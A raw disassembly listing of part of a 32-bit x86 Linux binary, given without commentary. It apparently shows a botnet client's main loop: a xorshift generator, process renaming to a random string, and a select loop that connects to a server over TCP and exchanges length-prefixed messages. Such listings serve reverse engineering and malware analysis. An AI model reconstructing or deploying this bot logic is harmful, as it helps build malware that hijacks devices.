804accc: e8 7f 06 00 00 call 0x804b350 | |
804acd1: 83 ec 0c sub $0xc,%esp | |
804acd4: 89 c7 mov %eax,%edi | |
804acd6: 8b 45 00 mov 0x0(%ebp),%eax | |
804acd9: 50 push %eax | |
804acda: e8 21 0f 00 00 call 0x804bc00 | |
804acdf: 5e pop %esi | |
804ace0: 8b 4d 00 mov 0x0(%ebp),%ecx | |
804ace3: 51 push %ecx | |
804ace4: 89 c3 mov %eax,%ebx | |
804ace6: e8 15 0f 00 00 call 0x804bc00 | |
804aceb: be 14 00 00 00 mov $0x14,%esi | |
804acf0: 89 c1 mov %eax,%ecx | |
804acf2: 89 f0 mov %esi,%eax | |
804acf4: 29 d8 sub %ebx,%eax | |
804acf6: 31 d2 xor %edx,%edx | |
804acf8: 89 c3 mov %eax,%ebx | |
804acfa: 89 f8 mov %edi,%eax | |
804acfc: f7 f3 div %ebx | |
804acfe: 89 d3 mov %edx,%ebx | |
804ad00: 8d bc 24 60 05 00 00 lea 0x560(%esp),%edi | |
804ad07: 01 cb add %ecx,%ebx | |
804ad09: 58 pop %eax | |
804ad0a: 5a pop %edx | |
804ad0b: 53 push %ebx | |
804ad0c: 57 push %edi | |
804ad0d: e8 ce 06 00 00 call 0x804b3e0 | |
804ad12: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1) | |
804ad19: 00 | |
804ad1a: 5b pop %ebx | |
804ad1b: 58 pop %eax | |
804ad1c: 57 push %edi | |
804ad1d: 8b 4d 00 mov 0x0(%ebp),%ecx | |
804ad20: 51 push %ecx | |
804ad21: e8 fa 0e 00 00 call 0x804bc20 | |
804ad26: 58 pop %eax | |
804ad27: 5a pop %edx | |
804ad28: 6a 20 push $0x20 | |
804ad2a: 57 push %edi | |
804ad2b: e8 60 0f 00 00 call 0x804bc90 | |
804ad30: e8 1b 06 00 00 call 0x804b350 | |
804ad35: 89 44 24 2c mov %eax,0x2c(%esp) | |
804ad39: 58 pop %eax | |
804ad3a: 8b 45 00 mov 0x0(%ebp),%eax | |
804ad3d: 50 push %eax | |
804ad3e: e8 bd 0e 00 00 call 0x804bc00 | |
804ad43: 8b 4d 00 mov 0x0(%ebp),%ecx | |
804ad46: 89 c3 mov %eax,%ebx | |
804ad48: 58 pop %eax | |
804ad49: 29 de sub %ebx,%esi | |
804ad4b: 51 push %ecx | |
804ad4c: e8 af 0e 00 00 call 0x804bc00 | |
804ad51: 31 d2 xor %edx,%edx | |
804ad53: 89 c1 mov %eax,%ecx | |
804ad55: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804ad59: f7 f6 div %esi | |
804ad5b: 89 d3 mov %edx,%ebx | |
804ad5d: 58 pop %eax | |
804ad5e: 01 cb add %ecx,%ebx | |
804ad60: 5a pop %edx | |
804ad61: 53 push %ebx | |
804ad62: 57 push %edi | |
804ad63: e8 78 06 00 00 call 0x804b3e0 | |
804ad68: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1) | |
804ad6f: 00 | |
804ad70: 5d pop %ebp | |
804ad71: 58 pop %eax | |
804ad72: 57 push %edi | |
804ad73: 6a 0f push $0xf | |
804ad75: e8 b5 14 00 00 call 0x804c22f | |
804ad7a: c7 04 24 03 00 00 00 movl $0x3,(%esp) | |
804ad81: e8 aa 08 00 00 call 0x804b630 | |
804ad86: 5e pop %esi | |
804ad87: 5f pop %edi | |
804ad88: 8d 84 24 80 05 00 00 lea 0x580(%esp),%eax | |
804ad8f: 50 push %eax | |
804ad90: 6a 03 push $0x3 | |
804ad92: e8 e9 07 00 00 call 0x804b580 | |
804ad97: 83 c4 0c add $0xc,%esp | |
804ad9a: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx | |
804ada1: 53 push %ebx | |
804ada2: 50 push %eax | |
804ada3: 6a 01 push $0x1 | |
804ada5: e8 f1 15 00 00 call 0x804c39b | |
804adaa: 83 c4 0c add $0xc,%esp | |
804adad: 6a 01 push $0x1 | |
804adaf: 68 92 e8 04 08 push $0x804e892 | |
804adb4: 6a 01 push $0x1 | |
804adb6: e8 e0 15 00 00 call 0x804c39b | |
804adbb: c7 04 24 03 00 00 00 movl $0x3,(%esp) | |
804adc2: e8 e9 07 00 00 call 0x804b5b0 | |
804adc7: e8 e4 d7 ff ff call 0x80485b0 | |
804adcc: e8 bf f4 ff ff call 0x804a290 | |
804add1: e8 aa fd ff ff call 0x804ab80 | |
804add6: e8 26 13 00 00 call 0x804c101 | |
804addb: 83 c4 10 add $0x10,%esp | |
804adde: 85 c0 test %eax,%eax | |
804ade0: 7e 5e jle 0x804ae40 | |
804ade2: 81 c4 88 05 00 00 add $0x588,%esp | |
804ade8: 31 c0 xor %eax,%eax | |
804adea: 59 pop %ecx | |
804adeb: 5b pop %ebx | |
804adec: 5e pop %esi | |
804aded: 5f pop %edi | |
804adee: 5d pop %ebp | |
804adef: 8d 61 fc lea -0x4(%ecx),%esp | |
804adf2: c3 ret | |
804adf3: 83 ec 0c sub $0xc,%esp | |
804adf6: 8b 45 04 mov 0x4(%ebp),%eax | |
804adf9: 50 push %eax | |
804adfa: e8 01 0e 00 00 call 0x804bc00 | |
804adff: 83 c4 10 add $0x10,%esp | |
804ae02: 83 f8 1f cmp $0x1f,%eax | |
804ae05: 0f 8f c1 fe ff ff jg 0x804accc | |
804ae0b: 50 push %eax | |
804ae0c: 50 push %eax | |
804ae0d: 8b 7d 04 mov 0x4(%ebp),%edi | |
804ae10: 57 push %edi | |
804ae11: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx | |
804ae18: 52 push %edx | |
804ae19: e8 02 0e 00 00 call 0x804bc20 | |
804ae1e: 5e pop %esi | |
804ae1f: 8b 5d 04 mov 0x4(%ebp),%ebx | |
804ae22: 53 push %ebx | |
804ae23: e8 d8 0d 00 00 call 0x804bc00 | |
804ae28: 5a pop %edx | |
804ae29: 59 pop %ecx | |
804ae2a: 50 push %eax | |
804ae2b: 8b 45 04 mov 0x4(%ebp),%eax | |
804ae2e: 50 push %eax | |
804ae2f: e8 5c 0e 00 00 call 0x804bc90 | |
804ae34: 83 c4 10 add $0x10,%esp | |
804ae37: e9 90 fe ff ff jmp 0x804accc | |
804ae3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804ae40: e8 d4 14 00 00 call 0x804c319 | |
804ae45: 83 ec 0c sub $0xc,%esp | |
804ae48: 6a 00 push $0x0 | |
804ae4a: e8 84 12 00 00 call 0x804c0d3 | |
804ae4f: c7 04 24 01 00 00 00 movl $0x1,(%esp) | |
804ae56: e8 78 12 00 00 call 0x804c0d3 | |
804ae5b: c7 04 24 02 00 00 00 movl $0x2,(%esp) | |
804ae62: e8 6c 12 00 00 call 0x804c0d3 | |
804ae67: e8 44 d7 ff ff call 0x80485b0 | |
804ae6c: e8 1f f4 ff ff call 0x804a290 | |
804ae71: e8 0a fd ff ff call 0x804ab80 | |
804ae76: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp) | |
804ae7d: 00 | |
804ae7e: 83 c4 10 add $0x10,%esp | |
804ae81: 8d ac 24 b0 04 00 00 lea 0x4b0(%esp),%ebp | |
804ae88: 8d b4 24 30 04 00 00 lea 0x430(%esp),%esi | |
804ae8f: 90 nop | |
804ae90: ba 20 00 00 00 mov $0x20,%edx | |
804ae95: 31 c0 xor %eax,%eax | |
804ae97: 89 d1 mov %edx,%ecx | |
804ae99: 89 ef mov %ebp,%edi | |
804ae9b: fc cld | |
804ae9c: f3 ab rep stos %eax,%es:(%edi) | |
804ae9e: 89 d1 mov %edx,%ecx | |
804aea0: 89 f7 mov %esi,%edi | |
804aea2: fc cld | |
804aea3: f3 ab rep stos %eax,%es:(%edi) | |
804aea5: 8b 15 28 f0 04 08 mov 0x804f028,%edx | |
804aeab: 83 fa ff cmp $0xffffffff,%edx | |
804aeae: 74 10 je 0x804aec0 | |
804aeb0: 89 d0 mov %edx,%eax | |
804aeb2: 83 e2 1f and $0x1f,%edx | |
804aeb5: c1 e8 05 shr $0x5,%eax | |
804aeb8: 0f ab 94 84 b0 04 00 bts %edx,0x4b0(%esp,%eax,4) | |
804aebf: 00 | |
804aec0: 83 3d 2c f0 04 08 ff cmpl $0xffffffff,0x804f02c | |
804aec7: 0f 84 fa 01 00 00 je 0x804b0c7 | |
804aecd: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc | |
804aed4: 0f 84 ec 00 00 00 je 0x804afc6 | |
804aeda: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804aedf: 89 c2 mov %eax,%edx | |
804aee1: 83 e0 1f and $0x1f,%eax | |
804aee4: c1 ea 05 shr $0x5,%edx | |
804aee7: 0f ab 84 94 30 04 00 bts %eax,0x430(%esp,%edx,4) | |
804aeee: 00 | |
804aeef: 8b 15 2c f0 04 08 mov 0x804f02c,%edx | |
804aef5: a1 28 f0 04 08 mov 0x804f028,%eax | |
804aefa: 39 d0 cmp %edx,%eax | |
804aefc: 7d 02 jge 0x804af00 | |
804aefe: 89 d0 mov %edx,%eax | |
804af00: c7 84 24 74 05 00 00 movl $0x0,0x574(%esp) | |
804af07: 00 00 00 00 | |
804af0b: c7 84 24 70 05 00 00 movl $0xa,0x570(%esp) | |
804af12: 0a 00 00 00 | |
804af16: 83 ec 0c sub $0xc,%esp | |
804af19: 40 inc %eax | |
804af1a: 8d 94 24 7c 05 00 00 lea 0x57c(%esp),%edx | |
804af21: 52 push %edx | |
804af22: 6a 00 push $0x0 | |
804af24: 56 push %esi | |
804af25: 55 push %ebp | |
804af26: 50 push %eax | |
804af27: e8 ae 13 00 00 call 0x804c2da | |
804af2c: 83 c4 20 add $0x20,%esp | |
804af2f: 83 f8 ff cmp $0xffffffff,%eax | |
804af32: 0f 84 58 ff ff ff je 0x804ae90 | |
804af38: 85 c0 test %eax,%eax | |
804af3a: 75 2a jne 0x804af66 | |
804af3c: 8b 54 24 20 mov 0x20(%esp),%edx | |
804af40: b0 06 mov $0x6,%al | |
804af42: 89 c1 mov %eax,%ecx | |
804af44: 89 d0 mov %edx,%eax | |
804af46: c1 fa 1f sar $0x1f,%edx | |
804af49: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp) | |
804af50: 00 00 00 | |
804af53: f7 f9 idiv %ecx | |
804af55: 8b 44 24 20 mov 0x20(%esp),%eax | |
804af59: 40 inc %eax | |
804af5a: 85 d2 test %edx,%edx | |
804af5c: 89 44 24 20 mov %eax,0x20(%esp) | |
804af60: 0f 84 5d 02 00 00 je 0x804b1c3 | |
804af66: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc | |
804af6d: 74 71 je 0x804afe0 | |
804af6f: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx | |
804af75: c6 05 cc f0 04 08 00 movb $0x0,0x804f0cc | |
804af7c: 89 c8 mov %ecx,%eax | |
804af7e: 89 ca mov %ecx,%edx | |
804af80: c1 ea 05 shr $0x5,%edx | |
804af83: 83 e0 1f and $0x1f,%eax | |
804af86: 0f a3 84 94 30 04 00 bt %eax,0x430(%esp,%edx,4) | |
804af8d: 00 | |
804af8e: 0f 92 c0 setb %al | |
804af91: 84 c0 test %al,%al | |
804af93: 0f 85 9a 01 00 00 jne 0x804b133 | |
804af99: 83 f9 ff cmp $0xffffffff,%ecx | |
804af9c: 74 0c je 0x804afaa | |
804af9e: 83 ec 0c sub $0xc,%esp | |
804afa1: 51 push %ecx | |
804afa2: e8 2c 11 00 00 call 0x804c0d3 | |
804afa7: 83 c4 10 add $0x10,%esp | |
804afaa: 83 ec 0c sub $0xc,%esp | |
804afad: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c | |
804afb4: ff ff ff | |
804afb7: 6a 01 push $0x1 | |
804afb9: e8 ce 2a 00 00 call 0x804da8c | |
804afbe: 83 c4 10 add $0x10,%esp | |
804afc1: e9 ca fe ff ff jmp 0x804ae90 | |
804afc6: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804afcb: 89 c2 mov %eax,%edx | |
804afcd: 83 e0 1f and $0x1f,%eax | |
804afd0: c1 ea 05 shr $0x5,%edx | |
804afd3: 0f ab 84 94 b0 04 00 bts %eax,0x4b0(%esp,%edx,4) | |
804afda: 00 | |
804afdb: e9 0f ff ff ff jmp 0x804aeef | |
804afe0: 8b 15 2c f0 04 08 mov 0x804f02c,%edx | |
804afe6: 83 fa ff cmp $0xffffffff,%edx | |
804afe9: 0f 84 a1 fe ff ff je 0x804ae90 | |
804afef: 89 d0 mov %edx,%eax | |
804aff1: c1 ea 05 shr $0x5,%edx | |
804aff4: 83 e0 1f and $0x1f,%eax | |
804aff7: 0f a3 84 94 b0 04 00 bt %eax,0x4b0(%esp,%edx,4) | |
804affe: 00 | |
804afff: 0f 92 c0 setb %al | |
804b002: 84 c0 test %al,%al | |
804b004: 0f 84 86 fe ff ff je 0x804ae90 | |
804b00a: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp) | |
804b011: 00 00 00 | |
804b014: e8 9d 15 00 00 call 0x804c5b6 | |
804b019: 89 c3 mov %eax,%ebx | |
804b01b: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804b021: 68 02 40 00 00 push $0x4002 | |
804b026: 6a 02 push $0x2 | |
804b028: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx | |
804b02f: 52 push %edx | |
804b030: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b035: 50 push %eax | |
804b036: e8 00 17 00 00 call 0x804c73b | |
804b03b: 83 c4 10 add $0x10,%esp | |
804b03e: 83 f8 ff cmp $0xffffffff,%eax | |
804b041: 0f 84 2c 02 00 00 je 0x804b273 | |
804b047: 85 c0 test %eax,%eax | |
804b049: 74 5d je 0x804b0a8 | |
804b04b: 66 8b 84 24 86 05 00 mov 0x586(%esp),%ax | |
804b052: 00 | |
804b053: 66 85 c0 test %ax,%ax | |
804b056: 0f 84 30 02 00 00 je 0x804b28c | |
804b05c: 66 c1 c8 08 ror $0x8,%ax | |
804b060: 66 3d 00 04 cmp $0x400,%ax | |
804b064: 66 89 84 24 86 05 00 mov %ax,0x586(%esp) | |
804b06b: 00 | |
804b06c: 0f 87 3c 02 00 00 ja 0x804b2ae | |
804b072: 25 ff ff 00 00 and $0xffff,%eax | |
804b077: c7 03 00 00 00 00 movl $0x0,(%ebx) | |
804b07d: 68 02 40 00 00 push $0x4002 | |
804b082: 50 push %eax | |
804b083: 8d 44 24 38 lea 0x38(%esp),%eax | |
804b087: 50 push %eax | |
804b088: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi | |
804b08e: 57 push %edi | |
804b08f: e8 a7 16 00 00 call 0x804c73b | |
804b094: 83 c4 10 add $0x10,%esp | |
804b097: 83 f8 ff cmp $0xffffffff,%eax | |
804b09a: 0f 84 d3 01 00 00 je 0x804b273 | |
804b0a0: 85 c0 test %eax,%eax | |
804b0a2: 0f 85 26 02 00 00 jne 0x804b2ce | |
804b0a8: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b0ad: 83 f8 ff cmp $0xffffffff,%eax | |
804b0b0: 0f 84 f4 fe ff ff je 0x804afaa | |
804b0b6: 83 ec 0c sub $0xc,%esp | |
804b0b9: 50 push %eax | |
804b0ba: e8 14 10 00 00 call 0x804c0d3 | |
804b0bf: 83 c4 10 add $0x10,%esp | |
804b0c2: e9 e3 fe ff ff jmp 0x804afaa | |
804b0c7: 51 push %ecx | |
804b0c8: 6a 00 push $0x0 | |
804b0ca: 6a 01 push $0x1 | |
804b0cc: 6a 02 push $0x2 | |
804b0ce: e8 4c 17 00 00 call 0x804c81f | |
804b0d3: 83 c4 10 add $0x10,%esp | |
804b0d6: a3 2c f0 04 08 mov %eax,0x804f02c | |
804b0db: 83 f8 ff cmp $0xffffffff,%eax | |
804b0de: 0f 84 e9 fd ff ff je 0x804aecd | |
804b0e4: 52 push %edx | |
804b0e5: 6a 00 push $0x0 | |
804b0e7: 6a 03 push $0x3 | |
804b0e9: 50 push %eax | |
804b0ea: e8 4e 0f 00 00 call 0x804c03d | |
804b0ef: 83 c4 0c add $0xc,%esp | |
804b0f2: 80 cc 08 or $0x8,%ah | |
804b0f5: 50 push %eax | |
804b0f6: 6a 04 push $0x4 | |
804b0f8: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b0fd: 50 push %eax | |
804b0fe: e8 3a 0f 00 00 call 0x804c03d | |
804b103: a1 30 f0 04 08 mov 0x804f030,%eax | |
804b108: 83 c4 10 add $0x10,%esp | |
804b10b: 85 c0 test %eax,%eax | |
804b10d: 74 02 je 0x804b111 | |
804b10f: ff d0 call *%eax | |
804b111: c6 05 cc f0 04 08 01 movb $0x1,0x804f0cc | |
804b118: 50 push %eax | |
804b119: 6a 10 push $0x10 | |
804b11b: 68 14 f1 04 08 push $0x804f114 | |
804b120: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b125: 50 push %eax | |
804b126: e8 5c 15 00 00 call 0x804c687 | |
804b12b: 83 c4 10 add $0x10,%esp | |
804b12e: e9 9a fd ff ff jmp 0x804aecd | |
804b133: c7 84 24 7c 05 00 00 movl $0x0,0x57c(%esp) | |
804b13a: 00 00 00 00 | |
804b13e: c7 84 24 80 05 00 00 movl $0x4,0x580(%esp) | |
804b145: 04 00 00 00 | |
804b149: 83 ec 0c sub $0xc,%esp | |
804b14c: 8d 94 24 8c 05 00 00 lea 0x58c(%esp),%edx | |
804b153: 52 push %edx | |
804b154: 8d 84 24 8c 05 00 00 lea 0x58c(%esp),%eax | |
804b15b: 50 push %eax | |
804b15c: 6a 04 push $0x4 | |
804b15e: 6a 01 push $0x1 | |
804b160: 51 push %ecx | |
804b161: e8 77 15 00 00 call 0x804c6dd | |
804b166: 83 c4 20 add $0x20,%esp | |
804b169: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx | |
804b170: 85 db test %ebx,%ebx | |
804b172: 74 72 je 0x804b1e6 | |
804b174: 83 ec 0c sub $0xc,%esp | |
804b177: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx | |
804b17d: 51 push %ecx | |
804b17e: e8 50 0f 00 00 call 0x804c0d3 | |
804b183: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c | |
804b18a: ff ff ff | |
804b18d: e8 be 01 00 00 call 0x804b350 | |
804b192: b9 cd cc cc cc mov $0xcccccccd,%ecx | |
804b197: 5a pop %edx | |
804b198: 89 c3 mov %eax,%ebx | |
804b19a: f7 e1 mul %ecx | |
804b19c: 89 54 24 18 mov %edx,0x18(%esp) | |
804b1a0: 89 44 24 14 mov %eax,0x14(%esp) | |
804b1a4: 8b 54 24 18 mov 0x18(%esp),%edx | |
804b1a8: c1 ea 03 shr $0x3,%edx | |
804b1ab: 8d 14 92 lea (%edx,%edx,4),%edx | |
804b1ae: 01 d2 add %edx,%edx | |
804b1b0: 29 d3 sub %edx,%ebx | |
804b1b2: 8d 43 01 lea 0x1(%ebx),%eax | |
804b1b5: 50 push %eax | |
804b1b6: e8 d1 28 00 00 call 0x804da8c | |
804b1bb: 83 c4 10 add $0x10,%esp | |
804b1be: e9 cd fc ff ff jmp 0x804ae90 | |
804b1c3: 68 00 40 00 00 push $0x4000 | |
804b1c8: 6a 02 push $0x2 | |
804b1ca: 8d 84 24 8e 05 00 00 lea 0x58e(%esp),%eax | |
804b1d1: 50 push %eax | |
804b1d2: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi | |
804b1d8: 57 push %edi | |
804b1d9: e8 90 15 00 00 call 0x804c76e | |
804b1de: 83 c4 10 add $0x10,%esp | |
804b1e1: e9 80 fd ff ff jmp 0x804af66 | |
804b1e6: 83 ec 0c sub $0xc,%esp | |
804b1e9: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx | |
804b1f0: 52 push %edx | |
804b1f1: e8 0a 0a 00 00 call 0x804bc00 | |
804b1f6: 88 84 24 96 05 00 00 mov %al,0x596(%esp) | |
804b1fd: e8 1e 0c 00 00 call 0x804be20 | |
804b202: a3 08 f1 04 08 mov %eax,0x804f108 | |
804b207: 68 00 40 00 00 push $0x4000 | |
804b20c: 6a 04 push $0x4 | |
804b20e: 68 94 e8 04 08 push $0x804e894 | |
804b213: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b218: 50 push %eax | |
804b219: e8 50 15 00 00 call 0x804c76e | |
804b21e: 83 c4 20 add $0x20,%esp | |
804b221: 68 00 40 00 00 push $0x4000 | |
804b226: 6a 01 push $0x1 | |
804b228: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx | |
804b22f: 51 push %ecx | |
804b230: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b235: 50 push %eax | |
804b236: e8 33 15 00 00 call 0x804c76e | |
804b23b: 8a 84 24 96 05 00 00 mov 0x596(%esp),%al | |
804b242: 83 c4 10 add $0x10,%esp | |
804b245: 84 c0 test %al,%al | |
804b247: 0f 84 43 fc ff ff je 0x804ae90 | |
804b24d: 25 ff 00 00 00 and $0xff,%eax | |
804b252: 68 00 40 00 00 push $0x4000 | |
804b257: 50 push %eax | |
804b258: 8d 84 24 38 05 00 00 lea 0x538(%esp),%eax | |
804b25f: 50 push %eax | |
804b260: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b265: 50 push %eax | |
804b266: e8 03 15 00 00 call 0x804c76e | |
804b26b: 83 c4 10 add $0x10,%esp | |
804b26e: e9 1d fc ff ff jmp 0x804ae90 | |
804b273: 8b 03 mov (%ebx),%eax | |
804b275: 83 f8 0b cmp $0xb,%eax | |
804b278: 0f 84 12 fc ff ff je 0x804ae90 | |
804b27e: 83 f8 04 cmp $0x4,%eax | |
804b281: 0f 85 21 fe ff ff jne 0x804b0a8 | |
804b287: e9 04 fc ff ff jmp 0x804ae90 | |
804b28c: 68 00 40 00 00 push $0x4000 | |
804b291: 6a 02 push $0x2 | |
804b293: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx | |
804b29a: 51 push %ecx | |
804b29b: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b2a0: 50 push %eax | |
804b2a1: e8 95 14 00 00 call 0x804c73b | |
804b2a6: 83 c4 10 add $0x10,%esp | |
804b2a9: e9 e2 fb ff ff jmp 0x804ae90 | |
804b2ae: 83 ec 0c sub $0xc,%esp | |
804b2b1: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b2b6: 50 push %eax | |
804b2b7: e8 17 0e 00 00 call 0x804c0d3 | |
804b2bc: 83 c4 10 add $0x10,%esp | |
804b2bf: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c | |
804b2c6: ff ff ff | |
804b2c9: e9 c2 fb ff ff jmp 0x804ae90 | |
804b2ce: 68 00 40 00 00 push $0x4000 | |
804b2d3: 6a 02 push $0x2 | |
804b2d5: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx | |
804b2dc: 52 push %edx | |
804b2dd: 8b 1d 2c f0 04 08 mov 0x804f02c,%ebx | |
804b2e3: 53 push %ebx | |
804b2e4: e8 52 14 00 00 call 0x804c73b | |
804b2e9: 66 8b 84 24 96 05 00 mov 0x596(%esp),%ax | |
804b2f0: 00 | |
804b2f1: 66 c1 c8 08 ror $0x8,%ax | |
804b2f5: 66 89 84 24 96 05 00 mov %ax,0x596(%esp) | |
804b2fc: 00 | |
804b2fd: 25 ff ff 00 00 and $0xffff,%eax | |
804b302: 68 00 40 00 00 push $0x4000 | |
804b307: 50 push %eax | |
804b308: 8d 4c 24 48 lea 0x48(%esp),%ecx | |
804b30c: 51 push %ecx | |
804b30d: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx | |
804b313: 51 push %ecx | |
804b314: e8 22 14 00 00 call 0x804c73b | |
804b319: 66 8b 84 24 a6 05 00 mov 0x5a6(%esp),%ax | |
804b320: 00 | |
804b321: 83 c4 20 add $0x20,%esp | |
804b324: 66 85 c0 test %ax,%ax | |
804b327: 0f 84 63 fb ff ff je 0x804ae90 | |
804b32d: 25 ff ff 00 00 and $0xffff,%eax | |
804b332: 52 push %edx | |
804b333: 52 push %edx | |
804b334: 50 push %eax | |
804b335: 8d 44 24 3c lea 0x3c(%esp),%eax | |
804b339: 50 push %eax | |
804b33a: e8 11 cf ff ff call 0x8048250 | |
804b33f: 83 c4 10 add $0x10,%esp | |
804b342: e9 49 fb ff ff jmp 0x804ae90 | |
804b347: 90 nop | |
804b348: 90 nop | |
804b349: 90 nop | |
804b34a: 90 nop | |
804b34b: 90 nop | |
804b34c: 90 nop | |
804b34d: 90 nop | |
804b34e: 90 nop | |
804b34f: 90 nop | |
804b350: a1 d0 f0 04 08 mov 0x804f0d0,%eax | |
804b355: 53 push %ebx | |
804b356: 89 c3 mov %eax,%ebx | |
804b358: 8b 15 dc f0 04 08 mov 0x804f0dc,%edx | |
804b35e: c1 e3 0b shl $0xb,%ebx | |
804b361: 89 d1 mov %edx,%ecx | |
804b363: c1 e9 13 shr $0x13,%ecx | |
804b366: 31 c3 xor %eax,%ebx | |
804b368: a1 d4 f0 04 08 mov 0x804f0d4,%eax | |
804b36d: a3 d0 f0 04 08 mov %eax,0x804f0d0 | |
804b372: a1 d8 f0 04 08 mov 0x804f0d8,%eax | |
804b377: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b37c: 89 15 d8 f0 04 08 mov %edx,0x804f0d8 | |
804b382: 89 d8 mov %ebx,%eax | |
804b384: 31 ca xor %ecx,%edx | |
804b386: c1 e8 08 shr $0x8,%eax | |
804b389: 31 d3 xor %edx,%ebx | |
804b38b: 31 d8 xor %ebx,%eax | |
804b38d: 5b pop %ebx | |
804b38e: a3 dc f0 04 08 mov %eax,0x804f0dc | |
804b393: c3 ret | |
804b394: 90 nop | |
804b395: 90 nop | |
804b396: 90 nop | |
804b397: 90 nop | |
804b398: 90 nop | |
804b399: 90 nop | |
804b39a: 90 nop | |
804b39b: 90 nop | |
804b39c: 90 nop | |
804b39d: 90 nop | |
804b39e: 90 nop | |
804b39f: 90 nop | |
804b3a0: 53 push %ebx | |
804b3a1: 83 ec 14 sub $0x14,%esp | |
804b3a4: 6a 00 push $0x0 | |
804b3a6: e8 94 0f 00 00 call 0x804c33f | |
804b3ab: a3 d0 f0 04 08 mov %eax,0x804f0d0 | |
804b3b0: e8 72 0d 00 00 call 0x804c127 | |
804b3b5: 89 c3 mov %eax,%ebx | |
804b3b7: e8 91 0d 00 00 call 0x804c14d | |
804b3bc: 31 c3 xor %eax,%ebx | |
804b3be: 89 1d d4 f0 04 08 mov %ebx,0x804f0d4 | |
804b3c4: e8 f3 11 00 00 call 0x804c5bc | |
804b3c9: 8b 15 d4 f0 04 08 mov 0x804f0d4,%edx | |
804b3cf: a3 d8 f0 04 08 mov %eax,0x804f0d8 | |
804b3d4: 31 d0 xor %edx,%eax | |
804b3d6: a3 dc f0 04 08 mov %eax,0x804f0dc | |
804b3db: 83 c4 18 add $0x18,%esp | |
804b3de: 5b pop %ebx | |
804b3df: c3 ret | |
804b3e0: 55 push %ebp | |
804b3e1: 57 push %edi | |
804b3e2: 56 push %esi | |
804b3e3: 53 push %ebx | |
804b3e4: 83 ec 38 sub $0x38,%esp | |
804b3e7: 8b 5c 24 50 mov 0x50(%esp),%ebx | |
804b3eb: 6a 1c push $0x1c | |
804b3ed: e8 3e 02 00 00 call 0x804b630 | |
804b3f2: 5f pop %edi | |
804b3f3: 5d pop %ebp | |
804b3f4: 6a 00 push $0x0 | |
804b3f6: 6a 1c push $0x1c | |
804b3f8: e8 83 01 00 00 call 0x804b580 | |
804b3fd: 59 pop %ecx | |
804b3fe: 5e pop %esi | |
804b3ff: 50 push %eax | |
804b400: 8d 6c 24 18 lea 0x18(%esp),%ebp | |
804b404: 55 push %ebp | |
804b405: e8 12 12 00 00 call 0x804c61c | |
804b40a: 83 c4 10 add $0x10,%esp | |
804b40d: 85 db test %ebx,%ebx | |
804b40f: 74 68 je 0x804b479 | |
804b411: 8b 74 24 40 mov 0x40(%esp),%esi | |
804b415: 8d 3c 33 lea (%ebx,%esi,1),%edi | |
804b418: a1 d0 f0 04 08 mov 0x804f0d0,%eax | |
804b41d: 83 ec 0c sub $0xc,%esp | |
804b420: 89 c1 mov %eax,%ecx | |
804b422: c1 e1 0b shl $0xb,%ecx | |
804b425: 55 push %ebp | |
804b426: 31 c1 xor %eax,%ecx | |
804b428: a1 d4 f0 04 08 mov 0x804f0d4,%eax | |
804b42d: a3 d0 f0 04 08 mov %eax,0x804f0d0 | |
804b432: a1 d8 f0 04 08 mov 0x804f0d8,%eax | |
804b437: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b43c: a1 dc f0 04 08 mov 0x804f0dc,%eax | |
804b441: 89 c2 mov %eax,%edx | |
804b443: a3 d8 f0 04 08 mov %eax,0x804f0d8 | |
804b448: c1 ea 13 shr $0x13,%edx | |
804b44b: 89 cb mov %ecx,%ebx | |
804b44d: c1 eb 08 shr $0x8,%ebx | |
804b450: 31 d0 xor %edx,%eax | |
804b452: 31 c1 xor %eax,%ecx | |
804b454: 31 cb xor %ecx,%ebx | |
804b456: 89 1d dc f0 04 08 mov %ebx,0x804f0dc | |
804b45c: e8 9f 07 00 00 call 0x804bc00 | |
804b461: 89 c2 mov %eax,%edx | |
804b463: 89 d8 mov %ebx,%eax | |
804b465: 89 d1 mov %edx,%ecx | |
804b467: 31 d2 xor %edx,%edx | |
804b469: f7 f1 div %ecx | |
804b46b: 8a 44 14 1c mov 0x1c(%esp,%edx,1),%al | |
804b46f: 83 c4 10 add $0x10,%esp | |
804b472: 88 06 mov %al,(%esi) | |
804b474: 46 inc %esi | |
804b475: 39 fe cmp %edi,%esi | |
804b477: 75 9f jne 0x804b418 | |
804b479: 83 ec 0c sub $0xc,%esp | |
